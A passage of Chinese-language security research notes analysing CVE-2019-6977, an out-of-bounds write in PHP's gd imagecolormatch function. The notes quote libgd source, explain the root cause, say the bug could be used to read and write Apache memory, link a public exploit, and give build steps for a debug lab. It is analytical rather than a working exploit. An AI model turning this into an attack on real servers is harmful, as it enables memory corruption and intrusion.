p (char *)(op_array.function_name.val)
c
si
p (char *)(op_array.function_name.val)

https://www.kancloud.cn/nickbai/php7/363285

// A PHP object is a combination of a lot of structures, such as zval, zend_object, zend_object_handlers, zend_string, etc., which are all allocated, and freed when the object is destroyed.

struct _zend_object {
    zend_refcounted_h gc; // 引用计数器,8字节
    uint32_t          handle; 
    zend_class_entry *ce;
    const zend_object_handlers *handlers;
    HashTable        *properties;
    zval              properties_table[1];
};
struct _zend_class_entry {
    char type;
    zend_string *name;
    struct _zend_class_entry *parent;
    int refcount;
    uint32_t ce_flags;
...
    HashTable function_table;
    HashTable properties_info;
    HashTable constants_table;
...
    union _zend_function *constructor;
    union _zend_function *destructor;
...
}
struct _zend_object_handlers {
    /* offset of real object header (usually zero) */
    int                                     offset;
    /* general object functions */
    zend_object_free_obj_t                  free_obj;
...
}

变量

zend_string
https://www.kancloud.cn/nickbai/php7/363267
http://www.phpinternalsbook.com/php7/internal_types/strings/zend_strings.html

struct _zend_string {
    zend_refcounted_h gc;  // 引用计数器,8字节
    zend_ulong h;
    size_t len;
    char val[1];
}

struct _zend_string     zend_string;
#define ZSTR_VAL(zstr)  (zstr)->val
#define ZSTR_LEN(zstr)  (zstr)->len

 

7. 其他

CVE-2019-6977

这个是作者提到的后来发现的一个PHP的越界写漏洞,可以替代上面的UAF来读写apache内存
https://bugs.php.net/bug.php?id=77270
https://github.com/cfreal/exploits/blob/master/CVE-2019-6977-imagecolormatch/exploit.php
https://nvd.nist.gov/vuln/detail/CVE-2019-6977

imagecreatetruecolor函数
主要是调用gdImageCreateTrueColor分配内存并初始化一个gdImage结构体

gdImage

typedef struct gdImageStruct {
    /* Palette-based image pixels */
    unsigned char ** pixels;
    int sx;
    int sy;
    ...
    int ** tpixels;
    ...
} gdImage;

typedef gdImage * gdImagePtr;

imagecreatetruecolor

// php/ext/gd/gd.c
PHP_FUNCTION(imagecreatetruecolor)
{
...
    im = gdImageCreateTrueColor(x_size, y_size);
...
}

// php/ext/gd/libgd/gd.c
gdImagePtr gdImageCreateTrueColor (int sx, int sy)
{
    int i;
    gdImagePtr im;
...
    im = (gdImage *) gdMalloc(sizeof(gdImage));
    memset(im, 0, sizeof(gdImage));
    im->tpixels = (int **) gdMalloc(sizeof(int *) * sy);
    ...
    for (i = 0; i < sy; i++) {
        im->tpixels[i] = (int *) gdCalloc(sx, sizeof(int));
    }
...
    im->trueColor = 1;
...
    return im;
}

#define gdMalloc(size)      emalloc(size)
#define gdCalloc(nmemb, size)   ecalloc(nmemb, size)

imagecolorallocate函数
给一个图像分配颜色

// php
int imagecolorallocate ( resource $image , int $red , int $green , int $blue )
PHP_FUNCTION(imagecolorallocate)
{
    zval *IM;
    zend_long red, green, blue;
    gdImagePtr im;
    int ct = (-1);
...
    ct = gdImageColorAllocate(im, red, green, blue);
 ...
}

int gdImageColorAllocate (gdImagePtr im, int r, int g, int b)
{
    return gdImageColorAllocateAlpha (im, r, g, b, gdAlphaOpaque);
}

// truecolor 图像
int gdImageColorAllocateAlpha (gdImagePtr im, int r, int g, int b, int a)
{
    int i;
    int ct = (-1);
    if (im->trueColor) {
        return gdTrueColorAlpha(r, g, b, a);
    }
...
}

#define gdTrueColorAlpha(r, g, b, a) (((a) << 24) + 
    ((r) << 16) + 
    ((g) << 8) + 
    (b))

imagecreate函数
imagecreate — 新建一个基于调色板的图像

PHP_FUNCTION(imagecreate)
{
    zend_long x_size, y_size;
    gdImagePtr im;
...
    im = gdImageCreate(x_size, y_size);
...
}

gdImagePtr gdImageCreate (int sx, int sy)
{
    int i;
    gdImagePtr im;
...
    im = (gdImage *) gdCalloc(1, sizeof(gdImage));

    im->pixels = (unsigned char **) gdMalloc(sizeof(unsigned char *) * sy);
...
    for (i = 0; i < sy; i++) {
        im->pixels[i] = (unsigned char *) gdCalloc(sx, sizeof(unsigned char));
    }
    im->sx = sx;
    im->sy = sy;
...
    for (i = 0; i < gdMaxColors; i++) {
        im->open[i] = 1;
        im->red[i] = 0;
        im->green[i] = 0;
        im->blue[i] = 0;
    }
    im->trueColor = 0;
    im->tpixels = 0;
...
    return im;
}

对一个调色板图像对象,每调用imagecolorallocate会使im->colorsTotal加1


int gdImageColorAllocateAlpha (gdImagePtr im, int r, int g, int b, int a)
{
    int i;
    int ct = (-1);
...
    for (i = 0; i < im->colorsTotal; i++) {
        if (im->open[i]) {
            ct = i;
            break;
        }
    }
    if (ct == (-1)) {
        ct = im->colorsTotal;
        if (ct == gdMaxColors) {
            return -1;
        }
        im->colorsTotal++;
    }
    im->red[ct] = r;
    im->green[ct] = g;
    im->blue[ct] = b;
    im->alpha[ct] = a;
    im->open[ct] = 0;

    return ct;
}

imagecolormatch函数

PHP_FUNCTION(imagecolormatch)
{
...
    result = gdImageColorMatch(im1, im2);
...
}


iint gdImageColorMatch (gdImagePtr im1, gdImagePtr im2)
{
    unsigned long *buf; /* stores our calculations */
    unsigned long *bp; /* buf ptr */
    int color, rgb;
    int x,y;
    int count;
...
    buf = (unsigned long *)safe_emalloc(sizeof(unsigned long), 5 * im2->colorsTotal, 0);
    memset( buf, 0, sizeof(unsigned long) * 5 * im2->colorsTotal );


    for (x=0; x<im1->sx; x++) {
        for( y=0; y<im1->sy; y++ ) {
            color = im2->pixels[y][x];
            rgb = im1->tpixels[y][x];
      // 一共有0~255个颜色(color),每个颜色占五个long:每个color的次数,红色的深度(0~255),绿色的深度,蓝色的深度,alpha大小
            bp = buf + (color * 5);
            (*(bp++))++;
            *(bp++) += gdTrueColorGetRed(rgb);
            *(bp++) += gdTrueColorGetGreen(rgb);
            *(bp++) += gdTrueColorGetBlue(rgb);
            *(bp++) += gdTrueColorGetAlpha(rgb);
        }
    }
    bp = buf;
    for (color=0; color<im2->colorsTotal; color++) {
        count = *(bp++);
        if( count > 0 ) {
            im2->red[color]     = *(bp++) / count;
            im2->green[color]   = *(bp++) / count;
            im2->blue[color]    = *(bp++) / count;
            im2->alpha[color]   = *(bp++) / count;
        } else {
            bp += 4;
        }
    }
    gdFree(buf);
    return 0;
}


# define safe_emalloc(a,b,c) emalloc((a)*(b)+(c))
#define gdTrueColorGetAlpha(c) (((c) & 0x7F000000) >> 24)
#define gdTrueColorGetRed(c) (((c) & 0xFF0000) >> 16)
#define gdTrueColorGetGreen(c) (((c) & 0x00FF00) >> 8)
#define gdTrueColorGetBlue(c) ((c) & 0x0000FF)

漏洞原理
imagecolormatch会根据调色板图像的im->colorsTotal创建一个缓冲区:

 buf = (unsigned long *)safe_emalloc(sizeof(unsigned long), 5 * im2->colorsTotal, 0);

对缓冲区的写入使用的是

bp = buf + (color * 5);

而color的范围是(0~255) ,且colorsTotal和color都可以由用户控制,最终可以实现越界写。

调试环境搭建

我从源码编译Apache后,它的all_buckets位于heap区域,无法通过PHP获取其地址,猜测是编译选项或者编译器的问题,做了很多尝试最终还是没有解决这个问题,这里记录一下相关的内容, 方便以后有机会再分析。

非源码环境的进程maps:

gdb-peda$ p all_buckets
$5 = (prefork_child_bucket *) 0x7f2847b501d0

7f2847ae3000-7f2847af7000 rw-s 00000000 00:01 279724                     /dev/zero (deleted)
7f2847af7000-7f2847b46000 rw-p 00000000 00:00 0 
7f2847b46000-7f2847bf9000 rw-p 00000000 00:00 0 
7f2847bf9000-7f2847c0b000 rw-p 00000000 00:00 0 
7f2847c0b000-7f2847c0c000 r--p 00027000 08:01 661145                     /lib/x86_64-linux-gnu/ld-2.27.so
7f2847c0c000-7f2847c0d000 rw-p 00028000 08:01 661145                     /lib/x86_64-linux-gnu/ld-2.27.so
...




源码环境的进程maps:
gdb-peda$ p all_buckets 
$1 = (prefork_child_bucket *) 0x557e1eddf878


$ sudo cat /proc/130839/maps
557e1ddf4000-557e1dea8000 r-xp 00000000 08:01 2114741                    /usr/local/httpd/bin/httpd
557e1e0a8000-557e1e0ab000 r--p 000b4000 08:01 2114741                    /usr/local/httpd/bin/httpd
557e1e0ab000-557e1e0af000 rw-p 000b7000 08:01 2114741                    /usr/local/httpd/bin/httpd
557e1e0af000-557e1e0b2000 rw-p 00000000 00:00 0 
557e1ed67000-557e1ee10000 rw-p 00000000 00:00 0                          [heap]
557e1ee10000-557e1ef18000 rw-p 00000000 00:00 0                          [heap]

源码安装Apache httpd

sudo apt update
sudo apt-get -y install build-essential git autoconf vim


wget http://mirrors.tuna.tsinghua.edu.cn/apache/apr/apr-1.6.5.tar.gz
tar xf apr-1.6.5.tar.gz 
cd apr-1.6.5
./configure --prefix=/usr/local/apr/ CFLAGS=-g
make
sudo make install
cd ..


sudo apt-get install libexpat1-dev


wget http://mirrors.tuna.tsinghua.edu.cn/apache/apr/apr-util-1.6.1.tar.gz
tar -zxvf apr-util-1.6.1.tar.gz
cd apr-util-1.6.1
./configure --prefix=/usr/local/apr-util --with-apr=/usr/local/apr CFLAGS=-g
make 
sudo make install
cd ..


sudo apt-get -y install libpcre3-dev zlib1g-dev 


wget http://archive.apache.org/dist/httpd/httpd-2.4.38.tar.gz
tar -zxvf httpd-2.4.38.tar.gz
cd httpd-2.4.38
./configure --prefix=/usr/local/httpd/ 
--sysconfdir=/etc/httpd/ 
--with-include-apr 
--disable-userdir 
--enable-headers 
--with-mpm=prefork 
--enable-modules=most 
--enable-so 
--enable-deflate 
--enable-defate=shared 
--enable-expires-shared 
--enable-rewrite=shared 
--enable-static-support 
--with-apr=/usr/local/apr/ 
--with-apr-util=/usr/local/apr-util/bin 
--with-ssl 
--with-z 
CFLAGS=-g
make
sudo make install


sudo ln -s /usr/local/httpd/bin/apachectl /usr/sbin/apachectl

sudo groupadd www
sudo useradd -g www www -s /bin/false

sudo sed -i 's,#ServerName www.example.com,ServerName localhost,'  /usr/local/httpd/conf/httpd.conf


sudo sed -i 's,User daemon,User www,'  /usr/local/httpd/conf/httpd.conf
sudo sed -i 's,Group daemon,Group www,'  /usr/local/httpd/conf/httpd.conf
sudo echo -e "nListen 8080nAddType application/x-httpd-php .php" >> /usr/local/httpd/conf/httpd.conf


sudo apachectl start

测试
ps -aux|grep httpd
curl localhost

web目录
cat /etc/httpd/httpd.conf |grep DocumentRoot

参考
https://blog.csdn.net/m0_37886429/article/details/79643078
https://segmentfault.com/a/1190000002763150

源码安装PHP

sudo apt-get -y install 
    libxml2-dev 
    libcurl4-openssl-dev 
    libjpeg-dev 
    libpng-dev 
    libxpm-dev 
    libmysqlclient-dev 
    libpq-dev 
    libicu-dev 
    libfreetype6-dev 
    libldap2-dev 
    libxslt-dev 
    libssl-dev 
    libldb-dev

sudo apt-get -y install build-essential

wget https://www.php.net/distributions/php-7.2.13.tar.gz
tar -zxvf php-7.2.13.tar.gz
cd php-7.2.13


./configure --prefix=/usr/local/php7.2.13  --with-apxs2=/usr/local/httpd/bin/apxs --with-gd CFLAGS=-g
make 
sudo make install

测试
$ sudo ln -s /usr/local/php7.2.13/bin/php /usr/sbin/php
$ php -v
PHP 7.2.13 (cli) (built: May  8 2020 01:10:56) ( ZTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies

参考
https://docs.moodle.org/38/en/Compiling_PHP_from_source
(完)